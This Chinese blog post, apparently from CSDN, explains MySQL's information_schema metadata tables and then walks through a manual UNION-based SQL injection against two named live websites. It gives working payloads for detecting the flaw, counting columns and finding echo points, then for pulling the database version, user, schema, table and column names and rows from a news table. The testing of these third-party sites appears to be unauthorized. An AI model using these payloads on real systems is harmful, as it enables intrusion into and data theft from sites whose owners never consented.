SQL注入:MySQL元数据库,外网实战手工SQL注入

MySQL元数据库

MySQL的元数据库是一组特殊的数据库,用于存储MySQL服务器的元数据信息,在sql注入中较为常用为以下两种元数据库:

  1. information_schema:这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表名、列的数据类型或访问权限等。

  2. mysql:这是MySQL的核心数据库,存储了用户权限设置、数据库的用户、关键字等。

sql注入中元数据库的应用

information_schema元数据库中需要了解 tables 数据表 和 clomuns 数据表,以下是两种数据表的应用

tables数据表:存放所有数据库及数据表信息

主要字段:

1.table_schema: 存放所有数据表对应的数据库名。每一条数据表名信息,对应一条table_schema字段的值,其值为数据表名所在的数据库名。

2.table_name:包含所有数据表信息,需引用table_schema字段信息进行查询

查询指定数据库中的所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='库名';
查pikachu询数据库中所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='pikachu';

在information_schema数据库中的tables表,查询满足条件TABLE_SCHEMA字段值为pikachu,的TABLE_NAME字段的值

columns数据表:存放数据库,数据表及其字段信息。

主要字段:

1.TABLE_NAME:存放数据表名,数据表每一条字段信息,对应一条TABLE_NAME的值,其值为字段所在的数据表名

2.COLUMN_NAME:存放所有字段名,需引用table_name字段值进行查询

**3.TABLE_SCHEMA:**存放所有字段对应的数据库名。每一条字段信息,对应一条table_schema字段的值,其值为字段所在的数据库名。与TABLE_NAME联用进行精确查询

查询指定表中的所有字段名
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='表名' AND TABLE_SCHEMA='库名';
查询pikachu数据库下users表中的所有字段
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='users' AND TABLE_SCHEMA='pikachu';

其余元数据查询

查询数据库数量及名称

select schema_name from information_schema.schemata

手工SQL注入

url:https://tpsldh.com/about.php?id=1

1.判断是否存在漏洞

tpsldh.com/about.php?id=1%27

页面:回显异常,sql报错回显,大概率存在注入漏洞

2.拼接布尔语句判断注入点类型

数值型: https://tpsldh.com/about.php?id=1 and 1=2

页面:无报错,回显正常

字符型:

<1> ?id=1' and 1=2 --+【--+为注释符,注释后续sql语句】

页面:回显异常

<2> ?id=1' and 1=1 --+【--+为注释符,注释后续sql语句】

页面:回显正常

拼接字符型sql语句,服务器正常执行,判断注入点为字符型

3.判断字符型参数闭合类型

<1> 单引号 ?id=1'

页面:回显异常

<2>双引号 ?id=1"

页面:回显正常

拼接单引号会触发sql语法报错。拼接双引号sql语句查询时,忽略多余字符,正常回显。判断闭合类型为单引号

4.拼接order by 对查询结果进行排序,判断页面引用数据库字段数

如果ORDER BY指定的列名在查询的表中不存在,将会报错。列名可以数字代替

?id=1' order by 1 --+

?id=1' order by 2 --+

................

?id=1' order by 6 --+

页面:正常回显

?id=1' order by 7 --+

页面:回显异常

逻辑:将查询结果指定第七列进行排序时,触发sql语法报错。指定第六列排序,页面回显正常。可以得出该页面引用数据库所在数据表的字段数为6位

5.更改原参数,使原查询失效并拼接union联合查询,判断回显点

UNION 操作符用于合并两个或多个 SELECT 语句的结果集,生成单个结果集。

?id=-1'union select 1,2,3,4,5,6 --+

页面:出现拼接回显数字

逻辑:所有union联合查询多个结果集时,由于原参数失效,使页面回显拼接的结果集,从而判断回显点

出现意外,不适合新手实操,更换网站

https://www.csi-india.org/news/index.php?id=18

注入点类型:数值

sql报错回显:无

sql语句执行:顺利

字段数:8

回显点:3,4,5,6

6.拼接系统函数,获取数据库信息

SQL注入常用系统函数及变量-CSDN博客

载荷:?id=-18 union select 1,2,version(),@@datadir,database(),user(),7,8 --+

页面:回显点回显数据库参数

逻辑:数据库执行函数并返回结果拼接入回显点

7.元数据库查询数据库数量及信息

载荷:?id=-18 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata --+

页面:回显当前用户权限可查询的数据库信息

逻辑:元数据库查询信息并拼接入结果集中返回。由于·union 会去除重复的行,而查询的结果可能包含多个行,为防止数据丢失,使用group_concat函数,将多个行的值拼接为一个字符串,并使用逗号分割。

8.查询当前数据库下有哪些表

载荷:?id=-18 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8 from information_schema.tables where TABLE_SCHEMA=database() --+

页面:回显当前数据库下的数据表

逻辑:查询元数据库信息,语句意义见上文。database()返回当前数据库名,用作查询条件

9.查询数据表下有哪些字段

载荷:?id=-18 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name='news' --+

页面:回显字段名

逻辑:查询元数据库信息,语句意义见上文,指定查询数据表news内字段名

10.查询数据

<1>查询多个数据

载荷:

?id=-18 union select 1,2,(select concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

逻辑:使用select子句查询所有数据,可拼接其他字符或换行符,通过limit控制回显条目。group_concat 在 MySQL 中有一个默认的长度限制(通常为 1024 字节)。如果合并的结果超出这个长度,返回的字符串将被截断。

<2>查询单个字段所有数据

载荷:?id=-18 union select 1,2,(select group_concat(news_title) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

相关推荐
你的微笑,乱了夏天24 分钟前
linux centos 7 安装 mongodb7
数据库·mongodb
工业甲酰苯胺36 分钟前
分布式系统架构:服务容错
数据库·架构
独行soc2 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
White_Mountain2 小时前
在Ubuntu中配置mysql,并允许外部访问数据库
数据库·mysql·ubuntu
Code apprenticeship2 小时前
怎么利用Redis实现延时队列?
数据库·redis·缓存
百度智能云技术站2 小时前
广告投放系统成本降低 70%+,基于 Redis 容量型数据库 PegaDB 的方案设计和业务实践
数据库·redis·oracle
老王笔记2 小时前
GTID下复制问题和解决
mysql
装不满的克莱因瓶2 小时前
【Redis经典面试题六】Redis的持久化机制是怎样的?
java·数据库·redis·持久化·aof·rdb
清平乐的技术专栏2 小时前
Hive SQL 查询所有函数
hive·hadoop·sql
Lojarro4 小时前
【Spring】Spring框架之-AOP
java·mysql·spring